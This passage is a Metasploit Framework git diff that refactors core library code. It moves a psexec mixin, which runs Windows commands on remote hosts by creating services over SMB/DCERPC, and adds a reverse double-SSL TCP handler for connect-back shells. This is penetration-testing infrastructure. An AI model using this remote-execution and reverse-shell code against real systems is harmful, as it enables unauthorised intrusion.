::Errno::ECONNRESET, Rex::ConnectionTimeout + #rescue ::Errno::EPIPE, ::Errno::ECONNRESET, Rex::ConnectionTimeout + # This is bad but we can't anticipate the gazilion different types of network + # i/o errors between Rex and Errno. + rescue => e + elog e.to_s + e.backtrace.each { |l| elog l } Response.empty end diff --git a/lib/msf/core/auxiliary/wmapmodule.rb b/lib/msf/core/auxiliary/wmapmodule.rb index fe55d7747e60..7af067ed3efe 100644 --- a/lib/msf/core/auxiliary/wmapmodule.rb +++ b/lib/msf/core/auxiliary/wmapmodule.rb @@ -71,7 +71,7 @@ def wmap_base_url else res << datastore['VHOST'] end - res << ":" + wmap_target_port + res << ":" + wmap_target_port.to_s res end diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index 95abe10e2a12..7e0bc736bae5 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -679,8 +679,8 @@ def report_session(opts) # In the case of multi handler we cannot yet determine the true # exploit responsible. But we can at least show the parent versus # just the generic handler: - if session and session.via_exploit == "exploit/multi/handler" - sess_data[:via_exploit] = sess_data[:datastore]['ParentModule'] + if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] + sess_data[:via_exploit] = sess_data[:datastore]['ParentModule'] end s = ::Mdm::Session.new(sess_data) @@ -696,9 +696,9 @@ def report_session(opts) mod = framework.modules.create(session.via_exploit) - if session.via_exploit == "exploit/multi/handler" - mod_fullname = sess_data[:datastore]['ParentModule'] - mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name + if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] + mod_fullname = sess_data[:datastore]['ParentModule'] + mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name else mod_name = mod.name mod_fullname = mod.fullname @@ -720,7 +720,7 @@ def report_session(opts) vuln = framework.db.report_vuln(vuln_info) - if session.via_exploit == "exploit/multi/handler" + if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule'] via_exploit = sess_data[:datastore]['ParentModule'] else via_exploit = session.via_exploit @@ -4869,6 +4869,7 @@ def import_nmap_noko_stream(args, &block) # If you have Nokogiri installed, you'll be shunted over to # that. Otherwise, you'll hit the old NmapXMLStreamParser. def import_nmap_xml(args={}, &block) + return nil if args[:data].nil? or args[:data].empty? wspace = args[:wspace] || workspace bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index f564ea3ef3b9..914d126c7103 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -268,6 +268,8 @@ def create_db(opts) def disconnect begin ActiveRecord::Base.remove_connection + self.migrated = false + self.modules_cached = false rescue ::Exception => e self.error = e elog("DB.disconnect threw an exception: #{e}") diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 413d1e521f81..d5c481e7cef7 100755 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -41,6 +41,7 @@ def initialize(framework, pinst, reqs) # This method generates the full encoded payload and returns the encoded # payload buffer. # + # @return [String] The encoded payload. def generate(raw = nil) self.raw = raw self.encoded = nil @@ -86,8 +87,9 @@ def generate(raw = nil) # # Generates the raw payload from the payload instance. This populates the - # raw attribute. + # {#raw} attribute. # + # @return [String] The raw, unencoded payload. def generate_raw self.raw = (reqs['Prepend'] || '') + pinst.generate + (reqs['Append'] || '') @@ -216,7 +218,7 @@ def encode # If the encoded payload is nil, raise an exception saying that we # suck at life. if (self.encoded == nil) - encoder = nil + self.encoder = nil raise NoEncodersSucceededError, "#{pinst.refname}: All encoders failed to encode.", diff --git a/lib/msf/core/encoder.rb b/lib/msf/core/encoder.rb index b1b17cab23d4..b8ebff5635a4 100644 --- a/lib/msf/core/encoder.rb +++ b/lib/msf/core/encoder.rb @@ -308,7 +308,12 @@ def do_encode(state) while (offset < state.buf.length) block = state.buf[offset, decoder_block_size] - state.encoded += encode_block(state, + # Append here (String#<<) instead of creating a new string with + # String#+ because the allocations kill performance with large + # buffers. This isn't usually noticeable on most shellcode, but + # when doing stage encoding on meterpreter (~750k bytes) the + # difference is 2 orders of magnitude. + state.encoded << encode_block(state, block + ("\x00" * (decoder_block_size - block.length))) offset += decoder_block_size diff --git a/lib/msf/core/encoder/xor.rb b/lib/msf/core/encoder/xor.rb index 69b6db7d3079..4c351ac45e85 100644 --- a/lib/msf/core/encoder/xor.rb +++ b/lib/msf/core/encoder/xor.rb @@ -26,6 +26,9 @@ def encode_block(state, block) # Finds keys that are incompatible with the supplied bad character list. # def find_bad_keys(buf, badchars) + # Short circuit if there are no badchars + return super if badchars.length == 0 + bad_keys = Array.new(decoder_key_size) { Hash.new } byte_idx = 0 diff --git a/lib/msf/core/exploit/dcerpc.rb b/lib/msf/core/exploit/dcerpc.rb index 51b11c738bc5..ff700984bea9 100644 --- a/lib/msf/core/exploit/dcerpc.rb +++ b/lib/msf/core/exploit/dcerpc.rb @@ -21,7 +21,7 @@ module Exploit::Remote::DCERPC DCERPCPacket = Rex::Proto::DCERPC::Packet DCERPCClient = Rex::Proto::DCERPC::Client DCERPCResponse = Rex::Proto::DCERPC::Response - DCERPCUUID = Rex::Proto::DCERPC::UUID + DCERPCUUID = Rex::Proto::DCERPC::UUID NDR = Rex::Encoder::NDR diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 2a17254de7d8..12ef03efb204 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -22,7 +22,9 @@ def on_new_session(session) # Meterpreter should do this automatically as part of # fs.file.rm(). Until that has been implemented, remove the # read-only flag with a command. - session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) + if session.platform =~ /win/ + session.shell_command_token(%Q|attrib.exe -r #{win_file}|) + end session.fs.file.rm(file) print_good("Deleted #{file}") true @@ -54,7 +56,7 @@ def on_new_session(session) # # Record file as needing to be cleaned up # - # @param [Array] files List of paths on the target that should + # @param files [Array] List of paths on the target that should # be deleted during cleanup. Each filename should be either a full # path or relative to the current working directory of the session # (not necessarily the same as the cwd of the server we're @@ -93,7 +95,9 @@ def cleanup true #rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE, ::Rex::Post::Meterpreter::RequestError => e rescue ::Exception => e - vprint_error("Failed to delete #{file}: #{e.to_s}") + vprint_error("Failed to delete #{file}: #{e}") + elog("Failed to delete #{file}: #{e.class}: #{e}") + elog("Call stack:\n#{e.backtrace.join("\n")}") false end end diff --git a/lib/msf/core/exploit/ftpserver.rb b/lib/msf/core/exploit/ftpserver.rb index 48517b3862ad..dadbb31dcdc7 100644 --- a/lib/msf/core/exploit/ftpserver.rb +++ b/lib/msf/core/exploit/ftpserver.rb @@ -26,11 +26,13 @@ def initialize(info = {}) ], Msf::Exploit::Remote::FtpServer) end + # (see Msf::Exploit#setup) def setup super @state = {} end + # (see TcpServer#on_client_connect) def on_client_connect(c) @state[c] = { :name => "#{c.peerhost}:#{c.peerport}", @@ -46,6 +48,25 @@ def on_client_connect(c) c.put "220 FTP Server Ready\r\n" end + # Dispatches client requests to command handlers. + # + # Handlers should be named +on_client_command_*+, ending with a + # downcased FTP verb, e.g. +on_client_command_user+. If no handler + # exists for the given command, returns a generic default response. + # + # @example Handle SYST requests + # class Metasploit4 < Msf::Exploit + # include Msf::Exploit::Remote::FtpServer + # ... + # def on_client_command_syst(cmd_conn, arg) + # print_status("Responding to SYST request") + # buf = build_exploit_buffer(cmd_conn) + # cmd_conn.put("215 Unix Type: #{buf}\r\n") + # end + # end + # + # @param (see TcpServer#on_client_data) + # @return (see TcpServer#on_client_data) def on_client_data(c) data = c.get_once return if not data @@ -184,6 +205,15 @@ def active_data_port_for_client(c,port) end + # Create a socket for the protocol data, either PASV or PORT, + # depending on the client. + # + # @see http://tools.ietf.org/html/rfc3659 RFC 3659 + # @see http://tools.ietf.org/html/rfc959 RFC 959 + # @param c [Socket] Control connection socket + # + # @return [Socket] A connected socket for the data connection + # @return [nil] on failure def establish_data_connection(c) begin Timeout.timeout(20) do diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 8ac65d6a0f6d..6d0bd9336b51 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -536,20 +536,21 @@ def target_uri end # - # Make sure the URI starts with a slash and doesn't end with one + # Returns a modified version of the URI that: + # 1. Always has a starting slash + # 2. Removes all the double slashes # - def normalize_uri(str) + def normalize_uri(*strs) + new_str = strs * "/" - unless str.to_s[0,1] == "/" - str = "/" + str.to_s - end + new_str = new_str.gsub!("//", "/") while new_str.index("//") - str = str.gsub(/^\/+/, '/') - unless str.length == 1 - str = str.gsub(/\/+$/, '') + # Makes sure there's a starting slash + unless new_str[0,1] == '/' + new_str = '/' + new_str end - str + new_str end # diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb deleted file mode 100644 index f63a93f8e160..000000000000 --- a/lib/msf/core/exploit/psexec.rb +++ /dev/null @@ -1,190 +0,0 @@ -require 'msf/core' - -module Msf - -#### -# This module alows for reuse of the psexec code execution module -# This code was stolen straight out of psexec.rb.Thanks very much for all -# who contributed to that module!! Instead of uploading and runing a binary. -#### - -module Exploit::Remote::Psexec - - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - - - # Retrives output from the executed command - # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param file [File name] Path to the output file relative to the smbshare - # Example: '\WINDOWS\Temp\outputfile.txt' - # @return output or nil if fails - def get_output(smbshare, ip, file) - begin - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return output - rescue Rex::Proto::SMB::Exceptions::ErrorCode => output_error - print_error("#{peer} - The file #{file} doesn't exist. #{output_error}.") - return nil - end - end - - - # This method executes a single windows command. If you want to - # retrieve the output of your command you'll have to echo it - # to a .txt file and then use the get_output method to retrieve it - # Make sure to use the cleanup_after method when you are done. - # @param command [String] Should be a valid windows command - # @return true if everything wen't well - def psexec(command) - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - response = dcerpc.call(0x10, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + NDR.long(0) + NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true - end - - - # This method is called by file_dropper to remove files droped - # By your module - # - # @example - # file_rm('C:\WINDOWS\Temp\output.txt') - # - # @param file [String] Full path to a file on the remote host - # @return [StandardError] only in the event of an error - def file_rm(file) - delete = "%COMSPEC% /C del #{file}" - vprint_status("#{peer} - Deleting #{file}") - psexec(delete) - end - - - # This method stores files in an Instance array - # The files are then deleted from the remote host once - # the cleanup_after method is called - # - # @example - # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") - # @param file [String] Full path to the file on the remote host - def register_file_for_cleanup(*file) - @dropped_files ||= [] - @dropped_files += file - end - - - # This method removes any files that were dropped on the remote system - # and marked with the register_file_for_cleanup method - def cleanup_after - print_status("#{peer} - Removing files dropped by your module/exploit") - if !@dropped_files - return - end - begin - @dropped_files.delete_if do |file| - file_rm(file) - print_good("#{peer} - Deleted #{file}") - end - rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanup_error - print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}") - end - end - -end - -end diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb index 00f17808c106..6e24ea986eca 100644 --- a/lib/msf/core/exploit/smb.rb +++ b/lib/msf/core/exploit/smb.rb @@ -4,7 +4,6 @@ require 'rex/proto/dcerpc' require 'rex/encoder/ndr' - module Msf ### @@ -18,6 +17,9 @@ module Msf module Exploit::Remote::SMB + require 'msf/core/exploit/smb/authenticated' + require 'msf/core/exploit/smb/psexec' + include Exploit::Remote::Tcp include Exploit::Remote::NTLM::Client @@ -33,20 +35,6 @@ module Exploit::Remote::SMB DCERPCUUID = Rex::Proto::DCERPC::UUID NDR = Rex::Encoder::NDR - # Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced - # Included when the module needs credentials to function - module Authenticated - def initialize(info = {}) - super - register_options( - [ - OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), - OptString.new('SMBPass', [ false, 'The password for the specified username', '']), - OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']), - ], Msf::Exploit::Remote::SMB::Authenticated) - end - end - def initialize(info = {}) super @@ -90,6 +78,13 @@ def initialize(info = {}) register_autofilter_services(%W{ netbios-ssn microsoft-ds }) end + # Override {Exploit::Remote::Tcp#connect} to setup an SMB connection + # and configure evasion options + # + # Also populates {#simple}. + # + # @param (see Exploit::Remote::Tcp#connect) + # @return (see Exploit::Remote::Tcp#connect) def connect(global=true) disconnect() if global @@ -132,7 +127,12 @@ def unicode(str) Rex::Text.to_unicode(str) end - # This method establishes a SMB session over the default socket + # Establishes an SMB session over the default socket and connects to + # the IPC$ share. + # + # You should call {#connect} before calling this + # + # @return [void] def smb_login simple.login( datastore['SMBName'], @@ -217,13 +217,55 @@ def splitname(uname) end end + # Whether a remote file exists + # + # @param file [String] Path to a file to remove, relative to the + # most-recently connected share + # @raise [Rex::Proto::SMB::Exceptions::ErrorCode] + def smb_file_exist?(file) + begin + fd = simple.open(file, 'ro') + rescue XCEPT::ErrorCode => e + # If attempting to open the file results in a "*_NOT_FOUND" error, + # then we can be sure the file is not there. + # + # Copy-pasted from smb/exceptions.rb to avoid the gymnastics + # required to pull them out of a giant inverted hash + # + # 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND", + # 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND", + # 0xC0000225 => "STATUS_NOT_FOUND", + error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code) + # If the server returns some other error, then there was a + # permissions problem or some other difficulty that we can't + # really account for and hope the caller can deal with it. + raise e unless error_is_not_found + found = !error_is_not_found + else + # There was no exception, so we know the file is openable + fd.close + found = true + end + + found + end + + # Remove remote file + # + # @param file (see #smb_file_exist?) + # @return [void] + def smb_file_rm(file) + fd = smb_open(file, 'ro') + fd.delete + end + # # Fingerprinting methods # - # This method the EnumPrinters() function of the spooler service + # Calls the EnumPrinters() function of the spooler service def smb_enumprinters(flags, name, level, blen) stub = NDR.long(flags) + @@ -632,10 +674,7 @@ def smb_fingerprint fprint end - # - # Accessors - # - + # @return [Rex::Proto::SMB::SimpleClient] attr_accessor :simple end @@ -785,7 +824,6 @@ def smb_error(cmd, c, errorclass, esn = false) c.put(pkt.to_s) end - end diff --git a/lib/msf/core/exploit/smb/authenticated.rb b/lib/msf/core/exploit/smb/authenticated.rb new file mode 100644 index 000000000000..62bfdd470392 --- /dev/null +++ b/lib/msf/core/exploit/smb/authenticated.rb @@ -0,0 +1,22 @@ +# -*- coding: binary -*- + +module Msf + +# Mini-mixin for making SMBUser/SMBPass/SMBDomain regular options vs advanced +# Included when the module needs credentials to function +module Exploit::Remote::SMB::Authenticated + + include Msf::Exploit::Remote::SMB + + def initialize(info = {}) + super + register_options( + [ + OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), + OptString.new('SMBPass', [ false, 'The password for the specified username', '']), + OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']), + ], Msf::Exploit::Remote::SMB::Authenticated) + end +end + +end diff --git a/lib/msf/core/exploit/smb/psexec.rb b/lib/msf/core/exploit/smb/psexec.rb new file mode 100644 index 000000000000..3ba505c6cf93 --- /dev/null +++ b/lib/msf/core/exploit/smb/psexec.rb @@ -0,0 +1,152 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'msf/core/exploit/dcerpc' + +module Msf + +#### +# Allows for reuse of the psexec code execution technique +# +# This code was stolen straight out of the psexec module. Thanks very +# much for all who contributed to that module!! Instead of uploading +# and runing a binary. +#### + +module Exploit::Remote::SMB::Psexec + + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB::Authenticated + + # Retrives output from the executed command + # + # @param smbshare [String] The SMBshare to connect to. Usually C$ + # @param host [String] Remote host to connect to, as an IP address or + # hostname + # @param file [String] Path to the output file relative to the smbshare + # Example: '\WINDOWS\Temp\outputfile.txt' + # @return [String,nil] output or nil on failure + def smb_read_file(smbshare, host, file) + begin + simple.connect("\\\\#{host}\\#{smbshare}") + file = simple.open(file, 'ro') + contents = file.read + file.close + simple.disconnect("\\\\#{host}\\#{smbshare}") + return contents + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + print_error("#{peer} - Unable to read file #{file}. #{e.class}: #{e}.") + return nil + end + end + + + # Executes a single windows command. + # + # If you want to retrieve the output of your command you'll have to + # echo it to a .txt file and then use the {#smb_read_file} method to + # retrieve it. Make sure to remove the files manually or use + # {Exploit::FileDropper#register_files_for_cleanup} to have the + # {Exploit::FileDropper#cleanup} and + # {Exploit::FileDropper#on_new_session} handlers do it for you. + # + # @todo Figure out the actual exceptions this needs to deal with + # instead of all the ghetto "rescue ::Exception" madness + # @param command [String] Should be a valid windows command + # @return [Boolean] Whether everything went well + def psexec(command) + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + vprint_status("#{peer} - Binding to #{handle} ...") + dcerpc_bind(handle) + vprint_status("#{peer} - Bound to #{handle} ...") + vprint_status("#{peer} - Obtaining a service manager handle...") + scm_handle = nil + stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) + begin + response = dcerpc.call(0x0f, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + scm_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + servicename = Rex::Text.rand_text_alpha(11) + displayname = Rex::Text.rand_text_alpha(16) + holdhandle = scm_handle + svc_handle = nil + svc_status = nil + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( command ) + + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password + begin + vprint_status("#{peer} - Creating the service...") + response = dcerpc.call(0x0c, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception + end + vprint_status("#{peer} - Opening service...") + begin + stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) + response = dcerpc.call(0x10, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + vprint_status("#{peer} - Starting the service...") + stubdata = svc_handle + NDR.long(0) + NDR.long(0) + begin + response = dcerpc.call(0x13, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end + vprint_status("#{peer} - Removing the service...") + stubdata = svc_handle + begin + response = dcerpc.call(0x02, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end + select(nil, nil, nil, 1.0) + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + return true + end + +end + +end diff --git a/lib/msf/core/exploit/web.rb b/lib/msf/core/exploit/web.rb index bd86a410cbb8..dcec407024b9 100644 --- a/lib/msf/core/exploit/web.rb +++ b/lib/msf/core/exploit/web.rb @@ -28,7 +28,7 @@ def initialize( info = {} ) super register_options([ - OptString.new( 'PATH', [ true, 'The path to the vulnerable script.', '/' ] ), + OptString.new( 'PATH', [ true, 'The path to the vulnerable script.', '/' ] ), OptString.new( 'GET', [ false, "GET parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ), OptString.new( 'POST', [ false, "POST parameters. ('foo=bar&vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ), OptString.new( 'COOKIES', [ false, "Cookies to be sent with the request. ('foo=bar;vuln=#{WEB_PAYLOAD_STUB}', #{WEB_PAYLOAD_STUB} will be substituted with the payload.)", "" ] ), @@ -75,14 +75,21 @@ def check def exploit print_status "Sending HTTP request for #{path}" - if res = perform_request - print_status "The server responded with HTTP status code #{res.code}." - else - print_status 'The server did not respond to our request.' - end + res = perform_request + if res + print_status "The server responded with HTTP status code #{res.code}." + else + print_status 'The server did not respond to our request.' + end handler end + def tries + 1 + end + + private + def perform_request send_request_cgi({ 'global' => true, diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb new file mode 100644 index 000000000000..4410de7df77e --- /dev/null +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -0,0 +1,300 @@ +# -*- coding: binary -*- +module Msf +module Handler + +### +# +# This module implements the reverse double TCP handler. This means +# that it listens on a port waiting for a two connections, one connection +# is treated as stdin, the other as stdout. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseTcpDoubleSSL + + include Msf::Handler + + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp_double'. + # + def self.handler_type + return "reverse_tcp_double_ssl" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse TCP handler and ads the options that are required + # for all reverse TCP payloads, like local host and local port. + # + def initialize(info = {}) + super + + register_options( + [ + Opt::LHOST, + Opt::LPORT(4444) + ], Msf::Handler::ReverseTcpDoubleSSL) + + register_advanced_options( + [ + OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), + ], Msf::Handler::ReverseTcpDoubleSSL) + + self.conn_threads = [] + end + + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + if datastore['Proxies'] and not datastore['ReverseAllowProxy'] + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' + end + self.listener_sock = Rex::Socket::TcpServer.create( + # 'LocalHost' => datastore['LHOST'], + 'LocalPort' => datastore['LPORT'].to_i, + 'Comm' => comm, + 'SSL' => true, + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + end + + # + # Closes the listener socket if one was created. + # + def cleanup_handler + stop_handler + + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each { |thr| + thr.kill + } + end + + # + # Starts monitoring for an inbound connection. + # + def start_handler + self.listener_thread = framework.threads.spawn("ReverseTcpDoubleSSLHandlerListener", false) { + sock_inp = nil + sock_out = nil + + print_status("Started reverse double handler") + + begin + # Accept two client connection + begin + client_a = self.listener_sock.accept + print_status("Accepted the first client connection...") + + client_b = self.listener_sock.accept + print_status("Accepted the second client connection...") + + sock_inp, sock_out = detect_input_output(client_a, client_b) + + rescue + wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") + return nil + end + + # Increment the has connection counter + self.pending_connections += 1 + + # Start a new thread and pass the client connection + # as the input and output pipe. Client's are expected + # to implement the Stream interface. + conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| + begin + chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy) + handle_connection(chan.lsock) + rescue + elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") + end + } + end while true + } + end + + # + # Accept two sockets and determine which one is the input and which + # is the output. This method assumes that these sockets pipe to a + # remote shell, it should overridden if this is not the case. + # + def detect_input_output(sock_a, sock_b) + + begin + + # Flush any pending socket data + sock_a.get_once if sock_a.has_read_data?(0.25) + sock_b.get_once if sock_b.has_read_data?(0.25) + + etag = Rex::Text.rand_text_alphanumeric(16) + echo = "echo #{etag};\n" + + print_status("Command: #{echo.strip}") + + print_status("Writing to socket A") + sock_a.put(echo) + + print_status("Writing to socket B") + sock_b.put(echo) + + print_status("Reading from sockets...") + + resp_a = '' + resp_b = '' + + if (sock_a.has_read_data?(1)) + print_status("Reading from socket A") + resp_a = sock_a.get_once + print_status("A: #{resp_a.inspect}") + end + + if (sock_b.has_read_data?(1)) + print_status("Reading from socket B") + resp_b = sock_b.get_once + print_status("B: #{resp_b.inspect}") + end + + print_status("Matching...") + if (resp_b.match(etag)) + print_status("A is input...") + return sock_a, sock_b + else + print_status("B is input...") + return sock_b, sock_a + end + + rescue ::Exception + print_status("Caught exception in detect_input_output: #{$!}") + end + + end + + # + # Stops monitoring for an inbound connection. + # + def stop_handler + # Terminate the listener thread + if (self.listener_thread and self.listener_thread.alive? == true) + self.listener_thread.kill + self.listener_thread = nil + end + + if (self.listener_sock) + self.listener_sock.close + self.listener_sock = nil + end + end + +protected + + attr_accessor :listener_sock # :nodoc: + attr_accessor :listener_thread # :nodoc: + attr_accessor :conn_threads # :nodoc: + + + module TcpReverseDoubleSSLChannelExt + attr_accessor :localinfo + attr_accessor :peerinfo + end + + ### + # + # This class wrappers the communication channel built over the two inbound + # connections, allowing input and output to be split across both. + # + ### + class TcpReverseDoubleSSLSessionChannel + + include Rex::IO::StreamAbstraction + + def initialize(framework, inp, out) + @framework = framework + @sock_inp = inp + @sock_out = out + + initialize_abstraction + + self.lsock.extend(TcpReverseDoubleSSLChannelExt) + self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":") + self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":") + + monitor_shell_stdout + end + + # + # Funnel data from the shell's stdout to +rsock+ + # + # +StreamAbstraction#monitor_rsock+ will deal with getting data from + # the client (user input). From there, it calls our write() below, + # funneling the data to the shell's stdin on the other side. + # + def monitor_shell_stdout + + # Start a thread to pipe data between stdin/stdout and the two sockets + @monitor_thread = @framework.threads.spawn("ReverseTcpDoubleSSLHandlerMonitor", false) { + 